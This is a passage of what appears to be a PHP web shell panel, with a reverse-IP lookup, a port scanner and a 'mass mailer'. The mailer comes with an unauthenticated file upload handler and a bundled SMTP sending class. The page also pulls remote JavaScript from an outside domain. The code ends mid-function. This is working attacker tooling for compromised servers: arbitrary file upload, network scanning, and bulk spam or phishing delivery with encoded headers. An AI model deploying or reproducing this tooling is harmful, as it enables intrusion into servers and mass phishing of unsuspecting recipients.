801elseif(isset($_GET['do']) && ($_GET['do'] == 'reverse')){
802?>
803<br>
804<center><div id="sitelist"><a onClick="window.open('http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>','POPUP','width=900 0,height=500,scrollbars=10');return false;" href="http://www.viewdns.info/reverseip/?host=<?php echo $_SERVER ['SERVER_ADDR']; ?>"><div id='menu'>[ Reverse IP Lookup ] </a></center>
805<br>
806<?php
807
808}
809////////////////////////////
810elseif($_GET['do'] == 'ps') {
811 ?>
812 <html>
813<head>
814<title>PortScanner</title>
815<script src="js/jquery-2.0.2.min.js" type="text/javascript"></script>
816<script src="js/loadFields.js" type="text/javascript" ></script>
817</head>
818<body>
819<form method="post" ><center>
820 <label for="domain">Domain/IP:</label><br />
821 <input type="text" name="domain" /><br />
822 <label for="startport">Start Port:</label><br />
823 <input type="text" name="startport" /><br />
824 <label for="endport">End Port:</label><br />
825 <input type="text" name="endport" /><br /><br />
826 <input type="submit" value="Scan" />
827</form></center>
828<br />
829<hr />
830<br />
831
832<div class="results">
833<?php
834if((!empty($_POST['domain'])) && (!empty($_POST['startport'])) && (!empty($_POST['endport']))) {
835
836 $domain = $_POST['domain'];
837
838 if($_POST['startport'] > $_POST['endport'])
839 {
840 $startport = $_POST['endport'];
841 $endport = $_POST['startport'];
842 }
843 else
844 {
845 $startport = $_POST['startport'];
846 $endport = $_POST['endport'];
847 }
848
849 echo 'Scan started for: <b><u>' . $domain . '</u></b> from Port: <b><u>' . $startport . '</u></b> to Port: <b><u>' . $endport . '</u></b><br /><br />';
850 echo '<script type="text/javascript">sendRequest("' . $domain . '", ' . $startport . ', ' . $endport . ');</script>';
851
852}
853else
854{
855 echo "Please fill in all fields!";
856}
857?>
858</div>
859
860</body>
861</html>
862<?php
863
864}
865 ////////////////////////////
866elseif($_GET['do'] == 'mailer') {
867?>
868 <?php
869
870
871/*
872Inbox Mass Mailer
873
874
875*/
876$upload = $_GET["upload"];
877if ($upload == "up" ) {
878$uploaddir = "";
879$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
880if (isset($_FILES["userfile"]["name"]))
881{
882if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile))
883{
884$resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";}
885else { $resultati = "There was an error uploading the file. please try again!"; }
886}
887echo'<html>
888<head></head>
889<div id="result">
890<table height="1" width="100%" bgcolor="#000000" bordercolorlight="#c0c0c0" border="0">
891<tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px">
892<center><form method="POST" enctype="multipart/form-data">
893<input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000">
894<input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"><br>'. $resultati .'</form></center></td></tr></table></div>';
895}
896
897function query_str($params){
898$str = '';
899foreach ($params as $key => $value) {
900$str .= (strlen($str) < 1) ? '' : '&';
901$str .= $key . '=' . rawurlencode($value);
902}
903return ($str);
904}
905function lrtrim($string){
906return stripslashes(ltrim(rtrim($string)));
907}
908
909if(isset($_POST['action'] ) ){
910
911$b = query_str($_POST);
912parse_str($b);
913$sslclick=lrtrim($sslclick);
914$action=lrtrim($action);
915$message=lrtrim($message);
916$emaillist=lrtrim($emaillist);
917$from=lrtrim($from);
918$reconnect=lrtrim($reconnect);
919$epriority=lrtrim($epriority);
920$my_smtp=lrtrim($my_smtp);
921$ssl_port=lrtrim($ssl_port);
922$smtp_username=lrtrim($smtp_username);
923$smtp_password=lrtrim($smtp_password);
924$replyto=lrtrim($replyto);
925$subject=lrtrim($subject);
926$realname=lrtrim($realname);
927$subject_base=lrtrim($subject);
928$realname_base=lrtrim($realname);
929$file_name=lrtrim($file);
930$urlz=lrtrim($urlz);
931$contenttype=lrtrim($contenttype);
932$encode_text=$_POST['encode'];
933
934 $message = urlencode($message);
935 $message = ereg_replace("%5C%22", "%22", $message);
936 $message = urldecode($message);
937 $message = stripslashes($message);
938 $subject = stripslashes($subject);
939 if ($encode_text == "yes") {
940 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
941 $subject = str_replace(' ', '_', $subject);
942 $subject = "=?UTF-8?Q?$subject?=";
943 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
944 $realname = str_replace(' ', '_', $realname);
945 $realname = "=?UTF-8?Q?$realname?=";
946 }
947}
948?>
949<html>
950
951<head>
952<title>PHP Mailer</title>
953<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
954
955<style type="text/css">
956<!--
957.style1 {
958 font-family: Geneva, Arial, Helvetica, sans-serif;
959 font-size: 12px;
960}
961-->
962</style>
963<style type="text/css">
964<!--
965.style1 {
966 font-size: 10px;
967 font-family: Geneva, Arial, Helvetica, sans-serif;
968}
969-->
970</style>
971</head>
972<SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT>
973<body text="#000000">
974<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender By Kaizen</font><font color="#FFFFFF" size="5" face="Bauhaus 93"></font></p>
975<form name="form1" method="post" action="" enctype="multipart/form-data">
976
977 <br>
978
979 <table width="100%" border="0" height="407">
980
981 <tr>
982
983 <td width="100%" colspan="4" bgcolor="#666666" height="36">
984
985 <b>
986
987 <font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
988
989 </tr>
990 <tr>
991
992 <td width="10%" height="22" bgcolor="#E8E8E8">
993
994 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
995 SMTP Login:</font></div>
996
997 </td>
998
999 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1000
1001 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
1002
1003 </font></td>
1004
1005 <td width="31%" height="22" bgcolor="#E8E8E8">
1006
1007 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1008 SMTP Pass:</font></div>
1009
1010 </td>
1011
1012 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1013
1014 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
1015
1016 </font></td>
1017
1018 </tr>
1019 <tr>
1020
1021 <td width="10%" height="22" bgcolor="#E8E8E8">
1022
1023 <div align="right">
1024 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
1025
1026 </td>
1027
1028 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1029
1030 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
1031 (optional)</font></td>
1032
1033 <td width="31%" height="22" bgcolor="#E8E8E8">
1034
1035 <div align="right">
1036 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
1037 Server Smtp:</font></div>
1038
1039 </td>
1040
1041 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1042
1043 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
1044
1045 </font></td>
1046
1047 </tr>
1048 <tr>
1049
1050 <td width="10%" height="22" bgcolor="#E8E8E8">
1051
1052 <p align="right">
1053 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
1054
1055 <td width="18%" height="22" bgcolor="#E8E8E8">
1056 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
1057
1058 <td width="31%" height="22" bgcolor="#E8E8E8">
1059
1060 <p align="right">
1061 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
1062 After:</font></td>
1063
1064 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1065
1066 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
1067 EMAILS</font></td>
1068
1069 </tr>
1070 <tr>
1071
1072 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
1073
1074 <p align="center">
1075 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
1076 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
1077
1078 </tr>
1079
1080 <tr>
1081
1082 <td width="10%" height="19">
1083
1084 </td>
1085
1086 <td width="18%" height="19"> </td>
1087
1088 <td width="31%" height="19">
1089
1090 </td>
1091
1092 <td width="41%" height="19"> </td>
1093
1094 </tr>
1095
1096 <tr>
1097
1098 <td width="100%" colspan="4" bgcolor="#666666" height="36">
1099
1100 <b>
1101
1102 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
1103
1104 </tr>
1105
1106 <tr>
1107
1108 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
1109
1110 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1111 Your Email:</font></div>
1112
1113 </td>
1114
1115 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1116
1117 <input type="text" name="from" value="<?=$from;?>" size="30">
1118
1119 </font></td>
1120
1121 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
1122
1123 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1124 Your Name:</font></div>
1125
1126 </td>
1127
1128 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1129
1130 <input type="text" name="realname" value="<?=$realname_base;?>" size="30">
1131
1132 </font></td>
1133
1134 </tr>
1135 <tr>
1136
1137 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
1138
1139 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1140 Reply-To:</font></div>
1141
1142 </td>
1143
1144 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1145
1146 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
1147
1148 </font></td>
1149
1150 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
1151
1152 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1153 Email Priority:</font></td>
1154
1155 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1156
1157 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
1158 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
1159 Please Choose -</option>
1160 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
1161 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
1162 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
1163 </select></td>
1164
1165 </tr>
1166
1167 <tr>
1168
1169 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
1170
1171 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1172 Subject:</font></div>
1173
1174 </td>
1175
1176 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1177
1178 <input type="text" name="subject" value="<?=$subject_base;?>" size="90">
1179
1180 </font></td>
1181
1182 </tr>
1183
1184 <tr>
1185
1186 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
1187
1188 </td>
1189
1190 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1191
1192 <font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
1193 <option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
1194 <option <? if($encode_text == "no"){print "selected";} ?>>no</option>
1195 </select></font></td>
1196
1197 </tr>
1198
1199 <tr valign="top">
1200
1201<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
1202
1203 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
1204
1205 <br>
1206
1207 <input type="radio" name="contenttype" value="plain" >
1208
1209 Plain
1210
1211 <input type="radio" name="contenttype" value="html" checked>
1212
1213 HTML
1214
1215 <input type="hidden" name="action" value="send">
1216
1217 <input type="submit" value="Send Message">
1218
1219 </font></td>
1220
1221 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
1222
1223 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
1224
1225 </font></td>
1226
1227 </tr>
1228
1229 </table>
1230
1231</form>
1232
1233
1234
1235<?
1236
1237if ($action){
1238 if (!$from && !$subject && !$message && !$emaillist){
1239 print "<script>alert('Please complete all fields before sending your message.'); </script>";
1240 die(); }
1241
1242class SMTP
1243{
1244 /**
1245 * SMTP server port
1246 * @var int
1247 */
1248 var $SMTP_PORT = 25;
1249
1250 /**
1251 * SMTP reply line ending
1252 * @var string
1253 */
1254 var $CRLF = "\r\n";
1255
1256 /**
1257 * Sets whether debugging is turned on
1258 * @var bool
1259 */
1260 var $do_debug; # the level of debug to perform
1261
1262 /**
1263 * Sets VERP use on/off (default is off)
1264 * @var bool
1265 */
1266 var $do_verp = false;
1267
1268 /**#@+
1269 * @access private
1270 */
1271 var $smtp_conn; # the socket to the server
1272 var $error; # error if any on the last call
1273 var $helo_rply; # the reply the server sent to us for HELO
1274 /**#@-*/
1275
1276 /**
1277 * Initialize the class so that the data is in a known state.
1278 * @access public
1279 * @return void
1280 */
1281 function SMTP() {
1282 $this->smtp_conn = 0;
1283 $this->error = null;
1284 $this->helo_rply = null;
1285
1286 $this->do_debug = 0;
1287 }
1288
1289 /*************************************************************
1290 * CONNECTION FUNCTIONS *
1291 ***********************************************************/
1292
1293 /**
1294 * Connect to the server specified on the port specified.
1295 * If the port is not specified use the default SMTP_PORT.
1296 * If tval is specified then a connection will try and be
1297 * established with the server for that number of seconds.
1298 * If tval is not specified the default is 30 seconds to
1299 * try on the connection.
1300 *
1301 * SMTP CODE SUCCESS: 220
1302 * SMTP CODE FAILURE: 421
1303 * @access public
1304 * @return bool
1305 */
1306 function Connect($host,$port=0,$tval=30) {
1307 # set the error val to null so there is no confusion
1308 $this->error = null;
1309
1310 # make sure we are __not__ connected
1311 if($this->connected()) {
1312 # ok we are connected! what should we do?
1313 # for now we will just give an error saying we
1314 # are already connected
1315 $this->error = array("error" => "Already connected to a server");
1316 return false;
1317 }
1318
1319 if(empty($port)) {
1320 $port = $this->SMTP_PORT;
1321 }
1322
1323 #connect to the smtp server
1324 $this->smtp_conn = fsockopen($host, # the host of the server
1325 $port, # the port to use
1326 $errno, # error number if any
1327 $errstr, # error message if any
1328 $tval); # give up after ? secs
1329 # verify we connected properly
1330 if(empty($this->smtp_conn)) {
1331 $this->error = array("error" => "Failed to connect to server",
1332 "errno" => $errno,
1333 "errstr" => $errstr);
1334 if($this->do_debug >= 1) {
1335 echo "SMTP -> ERROR: " . $this->error["error"] .
1336 ": $errstr ($errno)" . $this->CRLF;
1337 }
1338 return false;
1339 }
1340
1341 # sometimes the SMTP server takes a little longer to respond
1342 # so we will give it a longer timeout for the first read
1343 // Windows still does not have support for this timeout function
1344 if(substr(PHP_OS, 0, 3) != "WIN")
1345 socket_set_timeout($this->smtp_conn, $tval, 0);
1346
1347 # get any announcement stuff
1348 $announce = $this->get_lines();
1349
1350 # set the timeout of any socket functions at 1/10 of a second
1351 //if(function_exists("socket_set_timeout"))
1352 // socket_set_timeout($this->smtp_conn, 0, 100000);
1353
1354 if($this->do_debug >= 2) {
1355 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
1356 }
1357
1358 return true;
1359 }
1360
1361 /**
1362 * Performs SMTP authentication. Must be run after running the
1363 * Hello() method. Returns true if successfully authenticated.
1364 * @access public
1365 * @return bool
1366 */
1367 function Authenticate($username, $password) {
1368 // Start authentication
1369 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
1370
1371 $rply = $this->get_lines();
1372 $code = substr($rply,0,3);
1373
1374 if($code != 334) {
1375 $this->error =
1376 array("error" => "AUTH not accepted from server",
1377 "smtp_code" => $code,
1378 "smtp_msg" => substr($rply,4));
1379 if($this->do_debug >= 1) {
1380 echo "SMTP -> ERROR: " . $this->error["error"] .
1381 ": " . $rply . $this->CRLF;
1382 }
1383 return false;
1384 }
1385
1386 // Send encoded username
1387 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
1388
1389 $rply = $this->get_lines();
1390 $code = substr($rply,0,3);
1391
1392 if($code != 334) {
1393 $this->error =
1394 array("error" => "Username not accepted from server",
1395 "smtp_code" => $code,
1396 "smtp_msg" => substr($rply,4));
1397 if($this->do_debug >= 1) {
1398 echo "SMTP -> ERROR: " . $this->error["error"] .
1399 ": " . $rply . $this->CRLF;
1400 }
1401 return false;
1402 }
1403
1404 // Send encoded password
1405 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
1406
1407 $rply = $this->get_lines();
1408 $code = substr($rply,0,3);
1409
1410 if($code != 235) {
1411 $this->error =
1412 array("error" => "Password not accepted from server",
1413 "smtp_code" => $code,
1414 "smtp_msg" => substr($rply,4));
1415 if($this->do_debug >= 1) {
1416 echo "SMTP -> ERROR: " . $this->error["error"] .
1417 ": " . $rply . $this->CRLF;
1418 }
1419 return false;
1420 }
1421
1422 return true;
1423 }
1424
1425 /**
1426 * Returns true if connected to a server otherwise false
1427 * @access private
1428 * @return bool
1429 */
1430 function Connected() {
1431 if(!empty($this->smtp_conn)) {
1432 $sock_status = socket_get_status($this->smtp_conn);
1433 if($sock_status["eof"]) {
1434 # hmm this is an odd situation... the socket is
1435 # valid but we are not connected anymore
1436 if($this->do_debug >= 1) {
1437 echo "SMTP -> NOTICE:" . $this->CRLF .
1438 "EOF caught while checking if connected";
1439 }
1440 $this->Close();
1441 return false;
1442 }
1443 return true; # everything looks good
1444 }
1445 return false;
1446 }
1447
1448 /**
1449 * Closes the socket and cleans up the state of the class.
1450 * It is not considered good to use this function without
1451 * first trying to use QUIT.
1452 * @access public
1453 * @return void
1454 */
1455 function Close() {
1456 $this->error = null; # so there is no confusion
1457 $this->helo_rply = null;
1458 if(!empty($this->smtp_conn)) {
1459 # close the connection and cleanup
1460 fclose($this->smtp_conn);
1461 $this->smtp_conn = 0;
1462 }
1463 }
1464
1465 /***************************************************************
1466 * SMTP COMMANDS *
1467 *************************************************************/
1468
1469 /**
1470 * Issues a data command and sends the msg_data to the server
1471 * finializing the mail transaction. $msg_data is the message
1472 * that is to be send with the headers. Each header needs to be
1473 * on a single line followed by a <CRLF> with the message headers
1474 * and the message body being seperated by and additional <CRLF>.
1475 *
1476 * Implements rfc 821: DATA <CRLF>
1477 *
1478 * SMTP CODE INTERMEDIATE: 354
1479 * [data]
1480 * <CRLF>.<CRLF>
1481 * SMTP CODE SUCCESS: 250
1482 * SMTP CODE FAILURE: 552,554,451,452
1483 * SMTP CODE FAILURE: 451,554
1484 * SMTP CODE ERROR : 500,501,503,421
1485 * @access public
1486 * @return bool
1487 */
1488 function Data($msg_data) {
1489 $this->error = null; # so no confusion is caused
1490
1491 if(!$this->connected()) {
1492 $this->error = array(
1493 "error" => "Called Data() without being connected");
1494 return false;
1495 }
1496
1497 fputs($this->smtp_conn,"DATA" . $this->CRLF);
1498
1499 $rply = $this->get_lines();
1500 $code = substr($rply,0,3);
1501
1502 if($this->do_debug >= 2) {
1503 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1504 }
1505
1506 if($code != 354) {
1507 $this->error =
1508 array("error" => "DATA command not accepted from server",
1509 "smtp_code" => $code,
1510 "smtp_msg" => substr($rply,4));
1511 if($this->do_debug >= 1) {
1512 echo "SMTP -> ERROR: " . $this->error["error"] .
1513 ": " . $rply . $this->CRLF;
1514 }
1515 return false;
1516 }
1517
1518 # the server is ready to accept data!
1519 # according to rfc 821 we should not send more than 1000
1520 # including the CRLF
1521 # characters on a single line so we will break the data up
1522 # into lines by \r and/or \n then if needed we will break
1523 # each of those into smaller lines to fit within the limit.
1524 # in addition we will be looking for lines that start with
1525 # a period '.' and append and additional period '.' to that
1526 # line. NOTE: this does not count towards are limit.
1527
1528 # normalize the line breaks so we know the explode works
1529 $msg_data = str_replace("\r\n","\n",$msg_data);
1530 $msg_data = str_replace("\r","\n",$msg_data);
1531 $lines = explode("\n",$msg_data);
1532
1533 # we need to find a good way to determine is headers are
1534 # in the msg_data or if it is a straight msg body
1535 # currently I am assuming rfc 822 definitions of msg headers
1536 # and if the first field of the first line (':' sperated)
1537 # does not contain a space then it _should_ be a header
1538 # and we can process all lines before a blank "" line as
1539 # headers.
1540 $field = substr($lines[0],0,strpos($lines[0],":"));
1541 $in_headers = false;
1542 if(!empty($field) && !strstr($field," ")) {
1543 $in_headers = true;
1544 }
1545
1546 $max_line_length = 998; # used below; set here for ease in change
1547
1548 while(list(,$line) = @each($lines)) {
1549 $lines_out = null;
1550 if($line == "" && $in_headers) {
1551 $in_headers = false;
1552 }
1553 # ok we need to break this line up into several
1554 # smaller lines
1555 while(strlen($line) > $max_line_length) {
1556 $pos = strrpos(substr($line,0,$max_line_length)," ");
1557
1558 # Patch to fix DOS attack
1559 if(!$pos) {
1560 $pos = $max_line_length - 1;
1561 }
1562
1563 $lines_out[] = substr($line,0,$pos);
1564 $line = substr($line,$pos + 1);
1565 # if we are processing headers we need to
1566 # add a LWSP-char to the front of the new line
1567 # rfc 822 on long msg headers
1568 if($in_headers) {
1569 $line = "\t" . $line;
1570 }
1571 }
1572 $lines_out[] = $line;
1573
1574 # now send the lines to the server
1575 while(list(,$line_out) = @each($lines_out)) {
1576 if(strlen($line_out) > 0)
1577 {
1578 if(substr($line_out, 0, 1) == ".") {
1579 $line_out = "." . $line_out;
1580 }
1581 }
1582 fputs($this->smtp_conn,$line_out . $this->CRLF);
1583 }
1584 }
1585
1586 # ok all the message data has been sent so lets get this
1587 # over with aleady
1588 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
1589
1590 $rply = $this->get_lines();
1591 $code = substr($rply,0,3);
1592
1593 if($this->do_debug >= 2) {
1594 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1595 }
1596
1597 if($code != 250) {
1598 $this->error =
1599 array("error" => "DATA not accepted from server",
1600 "smtp_code" => $code,
1601 "smtp_msg" => substr($rply,4));
1602 if($this->do_debug >= 1) {
1603 echo "SMTP -> ERROR: " . $this->error["error"] .
1604 ": " . $rply . $this->CRLF;
1605 }
1606 return false;
1607 }
1608 return true;
1609 }
1610
1611 /**
1612 * Expand takes the name and asks the server to list all the
1613 * people who are members of the _list_. Expand will return
1614 * back and array of the result or false if an error occurs.
1615 * Each value in the array returned has the format of:
1616 * [ <full-name> <sp> ] <path>
1617 * The definition of <path> is defined in rfc 821
1618 *
1619 * Implements rfc 821: EXPN <SP> <string> <CRLF>
1620 *
1621 * SMTP CODE SUCCESS: 250
1622 * SMTP CODE FAILURE: 550
1623 * SMTP CODE ERROR : 500,501,502,504,421
1624 * @access public
1625 * @return string array
1626 */
1627 function Expand($name) {
1628 $this->error = null; # so no confusion is caused
1629
1630 if(!$this->connected()) {
1631 $this->error = array(
1632 "error" => "Called Expand() without being connected");
1633 return false;
1634 }
1635
1636 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
1637
1638 $rply = $this->get_lines();
1639 $code = substr($rply,0,3);
1640
1641 if($this->do_debug >= 2) {
1642 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1643 }
1644
1645 if($code != 250) {
1646 $this->error =
1647 array("error" => "EXPN not accepted from server",
1648 "smtp_code" => $code,
1649 "smtp_msg" => substr($rply,4));
1650 if($this->do_debug >= 1) {
1651 echo "SMTP -> ERROR: " . $this->error["error"] .
1652 ": " . $rply . $this->CRLF;
1653 }
1654 return false;
1655 }
1656
1657 # parse the reply and place in our array to return to user
1658 $entries = explode($this->CRLF,$rply);
1659 while(list(,$l) = @each($entries)) {
1660 $list[] = substr($l,4);
1661 }
1662
1663 return $list;
1664 }
1665
1666 /**
1667 * Sends the HELO command to the smtp server.
1668 * This makes sure that we and the server are in
1669 * the same known state.
1670 *
1671 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
1672 *
1673 * SMTP CODE SUCCESS: 250
1674 * SMTP CODE ERROR : 500, 501, 504, 421
1675 * @access public
1676 * @return bool
1677 */
1678 function Hello($host="") {
1679 $this->error = null; # so no confusion is caused
1680
1681 if(!$this->connected()) {
1682 $this->error = array(
1683 "error" => "Called Hello() without being connected");
1684 return false;
1685 }
1686
1687 # if a hostname for the HELO was not specified determine
1688 # a suitable one to send
1689 if(empty($host)) {
1690 # we need to determine some sort of appopiate default
1691 # to send to the server
1692 $host = "localhost";
1693 }
1694
1695 // Send extended hello first (RFC 2821)
1696 if(!$this->SendHello("EHLO", $host))
1697 {
1698 if(!$this->SendHello("HELO", $host))
1699 return false;
1700 }
1701
1702 return true;
1703 }
1704
1705 /**
1706 * Sends a HELO/EHLO command.
1707 * @access private
1708 * @return bool
1709 */
1710 function SendHello($hello, $host) {
1711 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
1712
1713 $rply = $this->get_lines();
1714 $code = substr($rply,0,3);
1715
1716 if($this->do_debug >= 2) {
1717 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
1718 }
1719
1720 if($code != 250) {
1721 $this->error =
1722 array("error" => $hello . " not accepted from server",
1723 "smtp_code" => $code,
1724 "smtp_msg" => substr($rply,4));
1725 if($this->do_debug >= 1) {
1726 echo "SMTP -> ERROR: " . $this->error["error"] .
1727 ": " . $rply . $this->CRLF;
1728 }
1729 return false;
1730 }
1731
1732 $this->helo_rply = $rply;
1733
1734 return true;
1735 }
1736
1737 /**
1738 * Gets help information on the keyword specified. If the keyword
1739 * is not specified then returns generic help, ussually contianing
1740 * A list of keywords that help is available on. This function
1741 * returns the results back to the user. It is up to the user to
1742 * handle the returned data. If an error occurs then false is
1743 * returned with $this->error set appropiately.
1744 *
1745 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
1746 *
1747 * SMTP CODE SUCCESS: 211,214
1748 * SMTP CODE ERROR : 500,501,502,504,421
1749 * @access public
1750 * @return string
1751 */
1752 function Help($keyword="") {
1753 $this->error = null; # to avoid confusion
1754
1755 if(!$this->connected()) {
1756 $this->error = array(
1757 "error" => "Called Help() without being connected");
1758 return false;
1759 }
1760
1761 $extra = "";
1762 if(!empty($keyword)) {
1763 $extra = " " . $keyword;
1764 }
1765
1766 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
1767
1768 $rply = $this->get_lines();
1769 $code = substr($rply,0,3);
1770
1771 if($this->do_debug >= 2) {
1772 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1773 }
1774
1775 if($code != 211 && $code != 214) {
1776 $this->error =
1777 array("error" => "HELP not accepted from server",
1778 "smtp_code" => $code,
1779 "smtp_msg" => substr($rply,4));
1780 if($this->do_debug >= 1) {
1781 echo "SMTP -> ERROR: " . $this->error["error"] .
1782 ": " . $rply . $this->CRLF;
1783 }
1784 return false;
1785 }
1786
1787 return $rply;
1788 }
1789
1790 /**
1791 * Starts a mail transaction from the email address specified in
1792 * $from. Returns true if successful or false otherwise. If True
1793 * the mail transaction is started and then one or more Recipient
1794 * commands may be called followed by a Data command.
1795 *
1796 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
1797 *
1798 * SMTP CODE SUCCESS: 250
1799 * SMTP CODE SUCCESS: 552,451,452
1800 * SMTP CODE SUCCESS: 500,501,421
1801 * @access public
1802 * @return bool
1803 */
1804 function Mail($from) {
1805 $this->error = null; # so no confusion is caused
1806
1807 if(!$this->connected()) {
1808 $this->error = array(
1809 "error" => "Called Mail() without being connected");
1810 return false;
1811 }
1812
1813 $useVerp = ($this->do_verp ? "XVERP" : "");
1814 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
1815
1816 $rply = $this->get_lines();
1817 $code = substr($rply,0,3);
1818
1819 if($this->do_debug >= 2) {
1820 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1821 }
1822
1823 if($code != 250) {
1824 $this->error =
1825 array("error" => "MAIL not accepted from server",
1826 "smtp_code" => $code,
1827 "smtp_msg" => substr($rply,4));
1828 if($this->do_debug >= 1) {
1829 echo "SMTP -> ERROR: " . $this->error["error"] .
1830 ": " . $rply . $this->CRLF;
1831 }
1832 return false;
1833 }
1834 return true;
1835 }
1836
1837 /**
1838 * Sends the command NOOP to the SMTP server.
1839 *
1840 * Implements from rfc 821: NOOP <CRLF>
1841 *
1842 * SMTP CODE SUCCESS: 250
1843 * SMTP CODE ERROR : 500, 421
1844 * @access public
1845 * @return bool
1846 */
1847 function Noop() {
1848 $this->error = null; # so no confusion is caused
1849
1850 if(!$this->connected()) {
1851 $this->error = array(
1852 "error" => "Called Noop() without being connected");
1853 return false;
1854 }
1855
1856 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
1857
1858 $rply = $this->get_lines();
1859 $code = substr($rply,0,3);
1860
